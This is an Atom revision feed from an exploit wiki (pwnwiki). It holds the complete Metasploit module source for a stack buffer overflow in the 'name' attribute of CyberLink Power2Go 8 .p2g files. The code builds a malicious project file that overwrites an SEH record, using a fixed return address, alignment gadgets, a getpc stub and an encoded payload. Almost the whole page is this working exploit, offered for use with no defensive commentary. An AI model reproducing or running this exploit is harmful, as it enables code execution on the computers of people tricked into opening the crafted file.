<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CyberLink_Power2Go_name_attribute_%28p2g%29%E5%A0%86%E6%A3%A7%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E</id>
	<title>CyberLink Power2Go name attribute (p2g)堆棧緩衝區溢出漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CyberLink_Power2Go_name_attribute_%28p2g%29%E5%A0%86%E6%A3%A7%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CyberLink_Power2Go_name_attribute_(p2g)%E5%A0%86%E6%A3%A7%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-20T16:28:59Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CyberLink_Power2Go_name_attribute_(p2g)%E5%A0%86%E6%A3%A7%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;diff=719&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for m...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CyberLink_Power2Go_name_attribute_(p2g)%E5%A0%86%E6%A3%A7%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;diff=719&amp;oldid=prev"/>
		<updated>2021-03-27T03:29:07Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for m...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
##&lt;br /&gt;
# This file is part of the Metasploit Framework and may be subject to&lt;br /&gt;
# redistribution and commercial restrictions. Please see the Metasploit&lt;br /&gt;
# web site for more information on licensing and terms of use.&lt;br /&gt;
#   http://metasploit.com/&lt;br /&gt;
##&lt;br /&gt;
&lt;br /&gt;
require 'msf/core'&lt;br /&gt;
&lt;br /&gt;
class Metasploit3 &amp;lt; Msf::Exploit::Remote&lt;br /&gt;
 Rank = GreatRanking&lt;br /&gt;
&lt;br /&gt;
 include Msf::Exploit::FILEFORMAT&lt;br /&gt;
&lt;br /&gt;
 def initialize(info = {})&lt;br /&gt;
  super(update_info(info,&lt;br /&gt;
   'Name'            =&amp;gt; 'CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit',&lt;br /&gt;
   'Description'     =&amp;gt; %q{&lt;br /&gt;
     This module exploits a stack buffer overflow in CyberLink Power2Go version 8.x&lt;br /&gt;
    The vulnerability is triggered when opening a malformed p2g file containing an overly&lt;br /&gt;
    long string in the 'name' attribute of the file element. This results in overwriting a&lt;br /&gt;
    structured exception handler record.&lt;br /&gt;
   },&lt;br /&gt;
   'License'         =&amp;gt; MSF_LICENSE,&lt;br /&gt;
   'Author'          =&amp;gt;&lt;br /&gt;
    [&lt;br /&gt;
     'modpr0be &amp;lt;modpr0be[at]spentera.com&amp;gt;',    # initial discovery&lt;br /&gt;
     'mr_me &amp;lt;steventhomasseeley[at]gmail.com&amp;gt;' # msf module&lt;br /&gt;
    ],&lt;br /&gt;
   'References'      =&amp;gt;&lt;br /&gt;
    [&lt;br /&gt;
     ['BID', '50997'],&lt;br /&gt;
     ['OSVDB', '70600'],&lt;br /&gt;
     ['URL', 'http://www.exploit-db.com/exploits/18220/'],&lt;br /&gt;
     ['URL', 'http://www.kb.cert.org/vuls/id/158003']&lt;br /&gt;
    ],&lt;br /&gt;
   'DefaultOptions'  =&amp;gt;&lt;br /&gt;
    {&lt;br /&gt;
     'EXITFUNC' =&amp;gt; 'process',&lt;br /&gt;
     'InitialAutoRunScript' =&amp;gt; 'migrate -f',&lt;br /&gt;
    },&lt;br /&gt;
   'Payload'         =&amp;gt;&lt;br /&gt;
    {&lt;br /&gt;
     'Space'    =&amp;gt; 1024,&lt;br /&gt;
     'BadChars' =&amp;gt; &amp;quot;\x00&amp;quot;&lt;br /&gt;
    },&lt;br /&gt;
   'Platform'        =&amp;gt; 'win',&lt;br /&gt;
   'Targets'         =&amp;gt;&lt;br /&gt;
    [&lt;br /&gt;
     # Power2Go8.exe (0x004b0028) - pop esi/pop ebp/pop ebx/add esp,10/retn&lt;br /&gt;
     [ 'CyberLink Power2Go 8 (XP/Vista/win7) Universal', { 'Ret' =&amp;gt; &amp;quot;\x28\x4b&amp;quot; } ]&lt;br /&gt;
    ],&lt;br /&gt;
   'DisclosureDate'  =&amp;gt; 'Sep 12 2011',&lt;br /&gt;
   'DefaultTarget'   =&amp;gt; 0))&lt;br /&gt;
&lt;br /&gt;
  register_options(&lt;br /&gt;
   [&lt;br /&gt;
    OptString.new('FILENAME', [ true, 'The output filename.', 'msf.p2g'])&lt;br /&gt;
   ], self.class)&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
 def get_payload(hunter)&lt;br /&gt;
  &lt;br /&gt;
  [ 'x86/alpha_mixed', 'x86/unicode_mixed' ].each { |name|&lt;br /&gt;
   enc = framework.encoders.create(name)&lt;br /&gt;
   if name =~ /unicode/&lt;br /&gt;
    enc.datastore.import_options_from_hash({ 'BufferRegister' =&amp;gt; 'EAX' })&lt;br /&gt;
   else&lt;br /&gt;
    enc.datastore.import_options_from_hash({ 'BufferRegister' =&amp;gt; 'EDX' })&lt;br /&gt;
   end&lt;br /&gt;
   # NOTE: we already eliminated badchars&lt;br /&gt;
   hunter = enc.encode(hunter, nil, nil, platform)&lt;br /&gt;
   if name =~/alpha/&lt;br /&gt;
    #insert getpc_stub &amp;amp; align EDX, unicode encoder friendly.&lt;br /&gt;
    #Hardcoded stub is not an issue here because it gets encoded anyway&lt;br /&gt;
    getpc_stub = &amp;quot;\x89\xe1\xdb\xcc\xd9\x71\xf4\x5a\x83\xc2\x41\x83\xea\x35&amp;quot;&lt;br /&gt;
    hunter = getpc_stub + hunter&lt;br /&gt;
   end&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  return hunter&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
 def exploit&lt;br /&gt;
&lt;br /&gt;
  title = rand_text_alpha(10)&lt;br /&gt;
  buffer =  &amp;quot;&amp;quot;&lt;br /&gt;
  buffer &amp;lt;&amp;lt; rand_text_alpha(778)&lt;br /&gt;
  buffer &amp;lt;&amp;lt; &amp;quot;\x58\x28&amp;quot;        # nseh&lt;br /&gt;
  buffer &amp;lt;&amp;lt; target['Ret']     # seh&lt;br /&gt;
  buffer &amp;lt;&amp;lt; &amp;quot;\x5f\x73&amp;quot; * 15   # pop edi/add [ebx],dh (after byte alignment)&lt;br /&gt;
  buffer &amp;lt;&amp;lt; &amp;quot;\x58\x73&amp;quot;        # pop eax/add [ebx],dh (after byte alignment)&lt;br /&gt;
  buffer &amp;lt;&amp;lt; &amp;quot;\x40\x73&amp;quot; * 3    # inc eax/add [ebx],dh (after byte alignment)&lt;br /&gt;
  buffer &amp;lt;&amp;lt; &amp;quot;\x40&amp;quot;            # inc eax&lt;br /&gt;
  buffer &amp;lt;&amp;lt; &amp;quot;\x73\x42&amp;quot; * 337  # add [ebx],dh/pop edx (after byte alignment)&lt;br /&gt;
  buffer &amp;lt;&amp;lt; &amp;quot;\x73&amp;quot;            # add [ebx],dh (after byte alignment)&lt;br /&gt;
  buffer &amp;lt;&amp;lt; get_payload(payload.encoded)&lt;br /&gt;
&lt;br /&gt;
  p2g_data = &amp;lt;&amp;lt;-EOS&lt;br /&gt;
  &amp;lt;Project magic=&amp;quot;#{title}&amp;quot; version=&amp;quot;101&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;Information /&amp;gt;&lt;br /&gt;
   &amp;lt;Compilation&amp;gt;&lt;br /&gt;
    &amp;lt;DataDisc&amp;gt;&lt;br /&gt;
     &amp;lt;File name=&amp;quot;#{buffer}&amp;quot; /&amp;gt;&lt;br /&gt;
    &amp;lt;/DataDisc&amp;gt;&lt;br /&gt;
   &amp;lt;/Compilation&amp;gt;&lt;br /&gt;
  &amp;lt;/Project&amp;gt;&lt;br /&gt;
  EOS&lt;br /&gt;
&lt;br /&gt;
  print_status(&amp;quot;Creating '#{datastore['FILENAME']}' file ...&amp;quot;)&lt;br /&gt;
  file_create(p2g_data)&lt;br /&gt;
 end&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>